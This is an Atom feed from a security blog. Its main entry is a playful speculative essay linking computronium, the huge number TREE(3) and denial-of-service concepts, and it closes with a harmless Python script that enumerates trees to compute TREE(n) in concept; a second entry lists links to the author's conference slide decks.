<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://starkeblog.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://starkeblog.com/" rel="alternate" type="text/html" /><updated>2025-11-29T02:20:13+00:00</updated><id>https://starkeblog.com/feed.xml</id><title type="html">StarkeBlog</title><subtitle>Firmware and Hacking</subtitle><entry><title type="html">Universal Denial of Service</title><link href="https://starkeblog.com/dos/denial-of-service/weird/2025/11/28/universal-denial-of-service.html" rel="alternate" type="text/html" title="Universal Denial of Service" /><published>2025-11-28T06:00:00+00:00</published><updated>2025-11-28T06:00:00+00:00</updated><id>https://starkeblog.com/dos/denial-of-service/weird/2025/11/28/universal-denial-of-service</id><content type="html" xml:base="https://starkeblog.com/dos/denial-of-service/weird/2025/11/28/universal-denial-of-service.html"><![CDATA[<h2 id="forward">Forward</h2>

<p>I have not written much on this blog this year as I have been pursuing other endeavors.</p>

<p>I have been toying around with a few ideas over the last few weeks, and I thought I would try my hand at writing a different type of blog post. My intent with this post is to glue together a few different ideas from math, physics, and computer security to produce an interesting take that is mostly meant for entertainment. It is as much science fiction as anything else.</p>

<p>If this post produces any sort of conversation or just gets people thinking, it will have achieved its goal.</p>

<h2 id="universal-denial-of-service">Universal Denial of Service</h2>

<h3 id="computable-matter">Computable Matter</h3>
<p>Computronium [1] is a general term used to describe highly efficient computable matter. Now this does not exist at present time in any capacity, so we are starting at a point of pure speculation. The idea is to use atoms or sub-atomic particles as computation “devices”.  These devices can theoretically calculate anything a classical computer can compute, and there have been extensions of the idea proposed to handle quantum computing as well.</p>

<p>Let’s say we use some advanced technology (maybe nanotechnology) to convert a gram of matter into computronium. We can then use the computronium to perform computable calculations. We can write programs that can execute on the gram of computronium and return to us a result.</p>

<p>But what if the program we write requires more compute resources than are available in the gram of matter? It is not a huge leap to say that if we can create a gram of Computronium, we can create another gram. This might even be an automated process carried out by the Computronium itself. For the sake of this idea, we are going to assume our gram of Computronium has the property of being able to produce arbitrary amounts of new Computronium from surrounding ordinary matter to meet the resource needs for the currently running program.</p>

<h3 id="denial-of-service">Denial of Service</h3>

<p>In computer security, a denial of service (DoS) condition occurs when legitimate users cannot access resources they need to fulfill a task due to the actions of another user. When these conditions are created purposefully, they are considered a Denial of Service attack. Usually these attacks are some form of resource exhaustion; whether it be network bandwidth, as is common with botnets [2] in a Distributed Denial of Service (DDoS) attack, or CPU processing as in the case of a Regular Expression Denial of Service (ReDoS) [3]. In DDoS types of attacks, large amounts of hijacked, network-connected computers target one specific network-connected computer or sub network and send as much unique traffic as they can to that location. The result is that the target becomes inaccessible for legitimate users of the target system. In a ReDoS attack [4], malicious regular expressions are used to cause excessive CPU usage.</p>

<p>A denial of service vulnerability is some type of computer hardware or software flaw that can be exploited to deny legitimate users access to needed resources. This can take many forms; severe examples are memory corruption vulnerabilities that do not result in arbitrary code execution, but do result in a process crashing. This is particularly severe when the vulnerability can be exploited over the network. Double that severity if there is no way for the operating system to restart the process from a good state. Double it again if the memory corruption vulnerability occurs in the operating system itself [5] resulting in the operating system panicking (I have personally discovered remotely exploitable kernel memory corruption vulnerabilities that resulted in the target host OS panicking and not being able to even reboot, so I know they do exist even though they are rare).</p>

<p>I would argue the class of most severe denial of service vulnerability in computers today is that of the “halt and catch fire” bug. For example, many years ago there was a processor opcode (f00f) in certain Intel processors [6] that when executed resulted in the CPU locking up and failing to execute any additional instructions until the power was reset on the computer [7]. When the CPU attempted to execute the faulty CPU instruction, the computer entered into an undefined state which it could not recover from without physical intervention by a user.</p>

<p>These sorts of attacks are generally done purposefully by a threat actor, but one could argue denial of service conditions can be triggered by accident. Take any of the major cloud service provider outages [8] [9] [10] [11] in the last few years; legitimate users were not able to access network and computer resources not because of the malicious actions of some threat actor, but because of some internal cascading error that took down a cloud provider data center somewhere.</p>

<p>How do denial of service attacks relate to Computronium? Can a computer made of matter operating at the atomic or subatomic level be used to create a denial of service against legitimate users? What would that even look like? How could such a condition occur? If it can occur at all, could a threat actor purposefully exploit that condition?</p>

<h3 id="big-numbers">Big Numbers</h3>

<p>Let’s take a break from the topic of computer security to talk about numbers; specifically large numbers. Most people have heard of the term googol [12], and probably even googolplex [13]; nerds like me may even be familiar with numbers like Graham’s number [14], which is a number that requires special notation created specifically for this number to express because it is physically impossible to express using any pre-existing conventional notation. Graham’s number is so enormous it cannot be expressed in conventional form because even if we use atoms to write out the number, there are not enough atoms in the universe to write it out. Not even close.</p>

<p>However, since the discovery of Graham’s number in 1971 [15], mathematicians and logicians have found even larger numbers.  For example, one is Rayos’ Number [16] (denoted “R(100)”). These numbers involve self-referential and meta-modifying definitions - and those do not translate well into computational tasks. As such, it would be hard for anyone to write a computer program to calculate Rayos’ number.</p>

<p>Enter TREE(3) [17]. TREE(3) is based on a paper from 1960, and a good summary can be found here [18]. TREE(3) is a solution to a problem in graph theory that results in an enormous number, and it’s basically the largest number used in a serious mathematical sense that has been discovered to date by people. It has a few very interesting properties as it relates to computers.</p>

<p>First, the problem that TREE(3) is a result of is simple to describe using a set of instructions; there are only two or three rules involved in the problem and three or four variables altogether. These rules can be modeled with a computer as a software program. As such TREE(3) is computable - in theory at least. Like Graham’s number, there is no way to compute it in our physical reality - even if the entire universe consisted of nothing but Computronium composed of sub-atomic particles running and running for an indescribable multitude of eons longer than any scientifically reasonable anticipated life time of our universe, even with a googolplex margin of error.</p>

<p>Why is the computable nature of TREE(3) interesting? It can be modeled as a computer program easily. So let’s say someone having a really bad day writes a computer program to solve TREE(3) and runs it on our gram of Computronium. Now remember, our gram of Computronium has the automated ability to increase its computational resources by converting more surrounding regular matter to Computronium to meet the resource needs of the currently running program.</p>

<h3 id="bringing-it-all-together-to-end-the-world">Bringing it all Together (To End the World)</h3>

<p>Now perhaps you see where this is going. In an effort to solve this problem, our Computronium is going to attempt to convert all of the matter in the entire universe into computational matter in an attempt to run our TREE(3) program. Perhaps this would not be such a big deal if in the process of doing so it “virtualized” the physical universe or otherwise at least sufficiently preserved life, but since this program has been tasked to solve this enormous math problem, all of the Computronium is going to be working towards that result.</p>

<p>Imagine the entire universe working to solve a single math problem. Even this might not be so bad, if it was a short lived computer program and sentient life was still somehow sufficiently preserved. However that would not be the case with TREE(3). The program calculating the result for TREE(3) would be running still at whatever end the universe has, still trying to calculate the result.</p>

<p>And it isn’t just compute processing resources that would be utilized; the TREE(3) problem involves creating a series of unique graphs that have the property that each new graph in the series does not contain as a subgraph any preceding graphs. In a practical computational implementation of TREE(3), there would be vast data storage requirements as each graph that is created would need to be stored to be checked against new graphs in the series. All new graphs would need to query the existing data set of graphs to make sure the new graph does not contain any of the other graphs in the series.</p>

<h3 id="data-and-io">Data and IO</h3>

<p>This query would have to check all previous graphs generated so far, so in addition to data storage constraints, there would also be IO (input/output) resource exhaustion as the series grows larger. Every time a new graph is compared to all preceding graphs the preceding graphs would have to be retrieved from storage and loaded piecemeal into the Computronium’s equivalent of a CPU register for the comparison operation to complete. Even if we are not using some sort of equivalent to persistent storage and the preceding graphs are stored in an equivalent to main memory, there is a time cost that becomes enormous as the series grows.</p>

<p>An interesting question arises: is it possible to figure out which resource would be exhausted first by calculating TREE(3); is it CPU, storage, or IO?</p>

<p>My guess is that data storage would be the first hard stop. As the series of graphs grows to extremes, keeping a data representation of each graph would consume enough data that the universe would run out of storage capacity before it reached any processing or IO limit. In fact I suspect the vast majority of the Computronium would be dedicated to data storage. The instructions required to compose the software program would probably fit comfortably in our initial one gram of Computronium.</p>

<p>In any event, some aspect of the computational process - whether it be CPU cycles, data storage, or IO (or a combination of more than one) is going to cause our universe-sized computer to endlessly execute, and that’s in the best case scenario.</p>

<p>Worse case scenario is that the resource contention puts our universal computer in an undefined state. Think of a OS hang in such a computer, or a halt and catch fire type bug (like the Intel f00f opcode bug). Who knows what the result might be in that case? Perhaps all of our Computronium ceases to execute any further instructions, resulting in a universe full of non functional computational matter.</p>

<h3 id="conclusion">Conclusion</h3>

<p>I would consider this as a Denial of Sevice condition, and if exploitation of this condition was carried out by a threat actor with or without malicious intent, it would be a type of “universal denial of service attack”.</p>

<p>Now you might be wondering, “why not just write a python script with an infinite loop that adds the number 1 to an ever increasing array.” There are two big differences between an infinite loop approach and the TREE(3) approach. First, the infinite loop approach never halts. TREE(3) would ultimately terminate, if given enough resources. This becomes helpful if in the future along with computronium you have a way of solving the halting problem [19] before running a given program (future input validation!). Second, writing one value, or even a repeating set of values, is going to compress much easier than the graph series. Compression will limit the ultimate storage size needed, and thus our computronium gram may not request additional matter resources. Writing a random value to an array won’t work either; where would you get the entropy to generate truly random numbers from in this scenario anyways?</p>

<p>If you are wondering who the legitimate users are who are being denied resources, it’s us. You and me. As well as any and all other life. And unlike an old Intel-based PC, there is no way to reset the power if the universe triple faults.</p>

<h3 id="python-implementation-of-tree3">Python Implementation of TREE(3)</h3>

<p>If you are interested in seeing how to calculate TREE(3) for educational purposes only (please do not destroy the universe), here is a small pythn script.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">annotations</span>
<span class="kn">from</span> <span class="nn">dataclasses</span> <span class="kn">import</span> <span class="n">dataclass</span>
<span class="kn">from</span> <span class="nn">functools</span> <span class="kn">import</span> <span class="n">lru_cache</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="kn">from</span> <span class="nn">typing</span> <span class="kn">import</span> <span class="n">Iterable</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Tuple</span>
<span class="kn">from</span> <span class="nn">concurrent.futures</span> <span class="kn">import</span> <span class="n">ProcessPoolExecutor</span>

<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">_executor</span> <span class="o">=</span> <span class="n">ProcessPoolExecutor</span><span class="p">()</span> 

<span class="c1"># ---------------------------------------------------------------------
# Tree definition
# ---------------------------------------------------------------------
</span>
<span class="o">@</span><span class="n">dataclass</span><span class="p">(</span><span class="n">frozen</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Tree</span><span class="p">:</span>
    <span class="n">label</span><span class="p">:</span> <span class="nb">int</span>
    <span class="n">children</span><span class="p">:</span> <span class="n">Tuple</span><span class="p">[</span><span class="s">"Tree"</span><span class="p">,</span> <span class="p">...]</span> <span class="o">=</span> <span class="p">()</span>

    <span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="p">.</span><span class="n">children</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">label</span><span class="si">}</span><span class="s">"</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">label</span><span class="si">}</span><span class="s">("</span> <span class="o">+</span> <span class="s">", "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">children</span><span class="p">)</span> <span class="o">+</span> <span class="s">")"</span>


<span class="c1"># ---------------------------------------------------------------------
# Embedding test (A embeds into B?)
# ---------------------------------------------------------------------
</span>
<span class="k">def</span> <span class="nf">embeds</span><span class="p">(</span><span class="n">A</span><span class="p">:</span> <span class="n">Tree</span><span class="p">,</span> <span class="n">B</span><span class="p">:</span> <span class="n">Tree</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">_root_embeds</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">B</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">True</span>
    <span class="k">return</span> <span class="nb">any</span><span class="p">(</span><span class="n">embeds</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">child</span><span class="p">)</span> <span class="k">for</span> <span class="n">child</span> <span class="ow">in</span> <span class="n">B</span><span class="p">.</span><span class="n">children</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">_root_embeds</span><span class="p">(</span><span class="n">pattern</span><span class="p">:</span> <span class="n">Tree</span><span class="p">,</span> <span class="n">target</span><span class="p">:</span> <span class="n">Tree</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">pattern</span><span class="p">.</span><span class="n">label</span> <span class="o">!=</span> <span class="n">target</span><span class="p">.</span><span class="n">label</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">pattern</span><span class="p">.</span><span class="n">children</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">True</span>

    <span class="k">return</span> <span class="n">_match_children</span><span class="p">(</span><span class="n">pattern</span><span class="p">.</span><span class="n">children</span><span class="p">,</span> <span class="n">target</span><span class="p">.</span><span class="n">children</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">_match_children</span><span class="p">(</span>
    <span class="n">pkids</span><span class="p">:</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Tree</span><span class="p">,</span> <span class="p">...],</span>
    <span class="n">tkids</span><span class="p">:</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Tree</span><span class="p">,</span> <span class="p">...]</span>
<span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">pkids</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">True</span>

    <span class="n">first</span> <span class="o">=</span> <span class="n">pkids</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
    <span class="n">rest</span> <span class="o">=</span> <span class="n">pkids</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>

    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">tchild</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">tkids</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">_root_embeds</span><span class="p">(</span><span class="n">first</span><span class="p">,</span> <span class="n">tchild</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">_match_children</span><span class="p">(</span><span class="n">rest</span><span class="p">,</span> <span class="n">tkids</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">:]):</span>
                <span class="k">return</span> <span class="bp">True</span>

        <span class="k">if</span> <span class="n">_match_children</span><span class="p">(</span><span class="n">pkids</span><span class="p">,</span> <span class="n">tchild</span><span class="p">.</span><span class="n">children</span><span class="p">):</span>
            <span class="k">return</span> <span class="bp">True</span>

    <span class="k">return</span> <span class="bp">False</span>


<span class="c1"># ---------------------------------------------------------------------
# Infinite enumeration of all finite labeled trees over {1..n}
# ---------------------------------------------------------------------
</span>
<span class="k">def</span> <span class="nf">all_trees</span><span class="p">(</span><span class="n">n</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Iterable</span><span class="p">[</span><span class="n">Tree</span><span class="p">]:</span>
    <span class="n">size</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">trees_of_size</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
            <span class="k">yield</span> <span class="n">t</span>
        <span class="n">size</span> <span class="o">+=</span> <span class="mi">1</span>


<span class="o">@</span><span class="n">lru_cache</span><span class="p">(</span><span class="n">maxsize</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">trees_of_size</span><span class="p">(</span><span class="n">size</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">n</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Tuple</span><span class="p">[</span><span class="n">Tree</span><span class="p">,</span> <span class="p">...]:</span>
    <span class="k">if</span> <span class="n">size</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">return</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">Tree</span><span class="p">(</span><span class="n">label</span><span class="p">)</span> <span class="k">for</span> <span class="n">label</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>

    <span class="n">result</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>

    <span class="k">for</span> <span class="n">root_label</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">comp</span> <span class="ow">in</span> <span class="n">compositions</span><span class="p">(</span><span class="n">size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
            <span class="n">subtree_lists</span> <span class="o">=</span> <span class="p">[</span>
                <span class="n">trees_of_size</span><span class="p">(</span><span class="n">part</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="k">for</span> <span class="n">part</span> <span class="ow">in</span> <span class="n">comp</span>
            <span class="p">]</span>
            <span class="k">for</span> <span class="n">children_combo</span> <span class="ow">in</span> <span class="n">product</span><span class="p">(</span><span class="o">*</span><span class="n">subtree_lists</span><span class="p">):</span>
                <span class="n">result</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">Tree</span><span class="p">(</span><span class="n">root_label</span><span class="p">,</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">children_combo</span><span class="p">)))</span>

    <span class="k">return</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">compositions</span><span class="p">(</span><span class="n">total</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Iterable</span><span class="p">[</span><span class="n">Tuple</span><span class="p">[</span><span class="nb">int</span><span class="p">,</span> <span class="p">...]]:</span>
    <span class="k">if</span> <span class="n">total</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">yield</span> <span class="p">()</span>
        <span class="k">return</span>

    <span class="k">for</span> <span class="n">first</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">total</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">rest</span> <span class="ow">in</span> <span class="n">compositions</span><span class="p">(</span><span class="n">total</span> <span class="o">-</span> <span class="n">first</span><span class="p">):</span>
            <span class="k">yield</span> <span class="p">(</span><span class="n">first</span><span class="p">,)</span> <span class="o">+</span> <span class="n">rest</span>


<span class="c1"># ---------------------------------------------------------------------
# Conceptual TREE(n)
# ---------------------------------------------------------------------
</span>
<span class="k">def</span> <span class="nf">is_valid_extension</span><span class="p">(</span><span class="n">seq</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Tree</span><span class="p">],</span> <span class="n">t</span><span class="p">:</span> <span class="n">Tree</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">seq</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">True</span>

    <span class="n">futures</span> <span class="o">=</span> <span class="p">[</span>
        <span class="n">_executor</span><span class="p">.</span><span class="n">submit</span><span class="p">(</span><span class="n">embeds</span><span class="p">,</span> <span class="n">prev</span><span class="p">,</span> <span class="n">t</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">prev</span> <span class="ow">in</span> <span class="n">seq</span>
    <span class="p">]</span>

    <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">futures</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">f</span><span class="p">.</span><span class="n">result</span><span class="p">():</span>
            <span class="k">return</span> <span class="bp">False</span>
    <span class="k">return</span> <span class="bp">True</span>


<span class="k">def</span> <span class="nf">TREE</span><span class="p">(</span><span class="n">n</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="s">"""
    Conceptual version:
      - Enumerates ALL finite sequences of trees over labels {1..n}
      - Ensures no earlier tree embeds into any later tree
      - Returns the maximum length

    In real Python this will never finish for n &gt;= 2.
    """</span>
    <span class="n">best</span> <span class="o">=</span> <span class="mi">0</span>

    <span class="k">def</span> <span class="nf">backtrack</span><span class="p">(</span><span class="n">seq</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Tree</span><span class="p">]):</span>
        <span class="k">nonlocal</span> <span class="n">best</span>
        <span class="n">best</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">best</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">seq</span><span class="p">))</span>

        <span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">all_trees</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">is_valid_extension</span><span class="p">(</span><span class="n">seq</span><span class="p">,</span> <span class="n">t</span><span class="p">):</span>
                <span class="n">seq</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
                <span class="n">backtrack</span><span class="p">(</span><span class="n">seq</span><span class="p">)</span>
                <span class="n">seq</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>

    <span class="n">backtrack</span><span class="p">([])</span>
    <span class="k">return</span> <span class="n">best</span>


<span class="c1"># ---------------------------------------------------------------------
# __main__ block
# ---------------------------------------------------------------------
</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="c1"># default to n=3 if no argument
</span>    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">n</span> <span class="o">=</span> <span class="mi">3</span>

    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Computing TREE(</span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s">) (conceptual only, will not terminate)..."</span><span class="p">)</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">TREE</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
    <span class="c1"># this code will never be reached for n &gt; 1
</span>    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"TREE(</span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s">) = </span><span class="si">{</span><span class="n">result</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>[1] <a href="https://web.archive.org//20100420013420/http://singinst.org/upload/CFAI/info/glossary.html#gloss_computronium">https://web.archive.org/web/20100420013420/http://singinst.org/upload/CFAI/info/glossary.html#gloss_computronium</a></p>

<p>[2] <a href="https://www.cloudflare.com/learning/ddos/glossary/mirai-botnet/">https://www.cloudflare.com/learning/ddos/glossary/mirai-botnet/</a></p>

<p>[3] [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-<em>ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service</em>-_ReDoS)</p>

<p>[4] <a href="https://medium.com/node-security/minimatch-redos-vulnerability-590da24e6d3c">https://medium.com/node-security/minimatch-redos-vulnerability-590da24e6d3c</a></p>

<p>[5] <a href="https://nvd.nist.gov/vuln/detail/cve-2019-11477">https://nvd.nist.gov/vuln/detail/cve-2019-11477</a></p>

<p>[6] <a href="https://web.archive.org/web/20030803125206/http://support.intel.com/support/processors/pentium/ppiie/index.htm">https://web.archive.org/web/20030803125206/http://support.intel.com/support/processors/pentium/ppiie/index.htm</a></p>

<p>[7] <a href="https://nvd.nist.gov/vuln/detail/CVE-1999-1476">https://nvd.nist.gov/vuln/detail/CVE-1999-1476</a></p>

<p>[8] <a href="https://blog.cloudflare.com/18-november-2025-outage/">https://blog.cloudflare.com/18-november-2025-outage/</a></p>

<p>[9] <a href="https://arstechnica.com/gadgets/2025/10/a-single-point-of-failure-triggered-the-amazon-outage-affecting-millions/">https://arstechnica.com/gadgets/2025/10/a-single-point-of-failure-triggered-the-amazon-outage-affecting-millions/</a></p>

<p>[10] <a href="https://www.cnbc.com/amp/2025/10/29/microsoft-hit-with-azure-365-outage-ahead-of-quarterly-earnings.html">https://www.cnbc.com/amp/2025/10/29/microsoft-hit-with-azure-365-outage-ahead-of-quarterly-earnings.html</a></p>

<p>[11] <a href="https://www.newsweek.com/over-1000-users-report-facebook-outage-2083708">https://www.newsweek.com/over-1000-users-report-facebook-outage-2083708</a></p>

<p>[12] <a href="https://mathworld.wolfram.com/Googol.html">https://mathworld.wolfram.com/Googol.html</a></p>

<p>[13] <a href="https://mathworld.wolfram.com/Googolplex.html">https://mathworld.wolfram.com/Googolplex.html</a></p>

<p>[14] <a href="https://mathworld.wolfram.com/GrahamsNumber.html">https://mathworld.wolfram.com/GrahamsNumber.html</a></p>

<p>[15] <a href="https://isu.indstate.edu/~gexoo/GEOMETRY/cubes.html">https://isu.indstate.edu/~gexoo/GEOMETRY/cubes.html</a></p>

<p>[16] <a href="https://web.mit.edu/arayo/www/bignums.html">https://web.mit.edu/arayo/www/bignums.html</a></p>

<p>[17] <a href="https://www.ams.org/journals/tran/1960-095-02/S0002-9947-1960-0111704-1/S0002-9947-1960-0111704-1.pdf">https://www.ams.org/journals/tran/1960-095-02/S0002-9947-1960-0111704-1/S0002-9947-1960-0111704-1.pdf</a></p>

<p>[18] <a href="https://www.popularmechanics.com/science/math/a28725/number-tree3/">https://www.popularmechanics.com/science/math/a28725/number-tree3/</a></p>

<p>[19] <a href="https://wiki.c2.com/?HaltingProblem">https://wiki.c2.com/?HaltingProblem</a></p>]]></content><author><name>Nicholas Starke</name></author><category term="dos" /><category term="denial-of-service" /><category term="weird" /><summary type="html"><![CDATA[Forward]]></summary></entry><entry><title type="html">Presentation Slide Decks</title><link href="https://starkeblog.com/pdf/slides/2025/03/07/presentation-pdfs.html" rel="alternate" type="text/html" title="Presentation Slide Decks" /><published>2025-03-07T06:00:00+00:00</published><updated>2025-03-07T06:00:00+00:00</updated><id>https://starkeblog.com/pdf/slides/2025/03/07/presentation-pdfs</id><content type="html" xml:base="https://starkeblog.com/pdf/slides/2025/03/07/presentation-pdfs.html"><![CDATA[<p>I recently exported all my slide decks from presentations I’ve given over the last 12 years.</p>

<p><a href="/pdf/Approaches%20to%20Reverse%20Engineering%20Dotnet%20Applications.pdf">Approaches to Reverse Engineering Dotnet Applications</a></p>

<p><a href="/pdf/Approaches%20to%20Reverse%20Engineering%20Java%20Applications.pdf">Approaches to Reverse Engineering Java Applications</a></p>

<p><a href="/pdf/BSides%20Iowa%202022%20-%20Reverse%20Engineering%20an%20N-Day%20Vulnerability.pdf">BSides Iowa 2022 - Reverse Engineering an N-Day Vulnerability</a></p>

<p><a href="/pdf/CABLEHAUNT.pdf">CABLEHAUNT</a></p>

<p><a href="/pdf/Cloud%20Based%20Password%20Cracking.pdf">Cloud Base Password Cracking</a></p>

<p><a href="/pdf/DSLAMing.pdf">DSLAMing</a></p>

<p><a href="/pdf/Ghidra.pdf">Ghidra</a></p>

<p><a href="/pdf/GPG_%20The%20Final%20Frontier.pdf">GPG - The Final Frontier</a></p>

<p><a href="/pdf/ICC14-Esoteric-Languages.pdf">ICC14 Esoteric Languages</a></p>

<p><a href="/pdf/Introduction%20to%20PFSense.pdf">Introduction to PFSense</a></p>

<p><a href="/pdf/Introduction%20to%20Reverse%20Engineering%20Server-Side%20Applications%20for%20Web%20Developers.pdf">Introduction to Reverse Engineering Server-Side Applications</a></p>

<p><a href="/pdf/IoT%20Device%20Post%20Exploitation.pdf">IoT Device Post Exploitation</a></p>

<p><a href="/pdf/Iowa%20Code%20Camp%202024%20-%20Boot%20Security.pdf">Iowa Code Camp 2024 - Boot Security</a></p>

<p><a href="/pdf/Iowa%20Code%20Camp%202024%20-%20Reverse%20Engineering%20and%20Application%20Development.pdf">Iowa Code Camp 2024 - Reverse Engineering and Application Development</a></p>

<p><a href="/pdf/Linux%20Firmware%20Database%20(LFWDB).pdf">Linux Firmware Database (LFWDB)</a></p>

<p><a href="/pdf/LLDP%20Fuzzing.pdf">LLDP Fuzzing</a></p>

<p><a href="/pdf/Path%20to%20InfoSec.pdf">Path to InfoSec</a></p>

<p><a href="/pdf/Raw%20Images%20in%20Ghidra.pdf">Raw Binary Images in Ghidra</a></p>

<p><a href="/pdf/Reversing%20Android%20Apps.pdf">Reversing Android Apps</a></p>

<p><a href="/pdf/Router%20_%20Switch%20Exploits.pdf">Router and Switch Exploits</a></p>

<p><a href="/pdf/Security%20at%20the%20Switch.pdf">Security at the Switch</a></p>

<p><a href="/pdf/Smart%20TV%20Hacking.pdf">Smart TV Hacking</a></p>

<p><a href="/pdf/Tour%20de%20Vulnerability%20Disclosure.pdf">Tour de Vulnerability Disclosure</a></p>

<p><a href="/pdf/USB%20Gallagher.pdf">USB Gallagher</a></p>

